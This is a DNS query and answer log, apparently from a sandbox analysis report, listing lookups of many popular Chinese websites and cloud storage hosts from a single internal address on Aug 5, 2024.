Aug 5, 2024 11:59:16.946336031 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:16.947146893 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.625447035 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.aliyun.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.626156092 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.aliyun.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.678050995 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.sinacloud.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.679136038 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.sinacloud.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.740466118 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.740823984 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.803155899 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.803405046 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.865750074 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.866067886 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.927839994 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.928241014 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.990679979 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.990886927 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.053791046 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.054090023 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.115565062 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.116744041 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.177670956 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.178503036 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.240889072 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.242013931 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.302937984 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.303809881 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.365756989 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.366050005 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.428447008 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.428550005 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.490458965 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.491372108 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.556370020 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.557149887 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.615390062 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.616252899 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.678090096 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.679198027 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.742059946 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	huadongcs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.742149115 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	huadongcs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.742149115 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.742961884 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.211314917 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.211592913 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.631618023 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.632456064 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:41.154963970 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:41.155711889 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:49.334538937 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:49.334574938 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:59.096584082 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:59.097513914 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 5, 2024 11:59:07.477832079 CEST	1.1.1.1	192.168.2.5	0x2540	No error (0)	daofeng.8090cqg.com		43.154.89.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.230037928 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.275585890 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.275585890 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.a.shifen.com		183.2.172.185	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.275585890 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.a.shifen.com		183.2.172.42	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.418288946 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.418288946 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.418288946 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	jd-abroad.cdn20.com		163.171.132.119	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.418987989 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.418987989 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.458530903 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.458530903 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.458530903 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.180	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.484838009 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.484838009 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.518945932 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.518945932 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.518945932 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.518945932 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.577699900 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.616307020 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.616307020 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.197	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.616307020 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.198	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.633040905 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.633040905 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.633040905 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	jd-abroad.cdn20.com		138.113.112.18	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.633040905 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	jd-abroad.cdn20.com		138.113.236.64	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.658613920 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.658613920 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.130.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.759406090 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.759406090 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.825454950 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.829041004 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.831227064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.884429932 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.884429932 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.922749996 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.932677984 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.937946081 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.938920021 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.938920021 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:08.938920021 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.978028059 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.044889927 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.044889927 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.044889927 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.044889927 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.048218966 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.048218966 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.048218966 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.048218966 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070332050 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.113512039 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.113512039 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.208.133	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.113512039 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.115.36	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.151107073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.151107073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.151107073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.151107073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	eu-central-1-ds-2088.oss-acc.aliyuncs.com		47.254.187.186	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.175	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.139	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.27.8	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.77	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.100	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.158	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.194	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.173	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.175.139.72	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.185	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.9	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.159	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.254842997 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.134	A (IP address)	IN (0x0001)	false
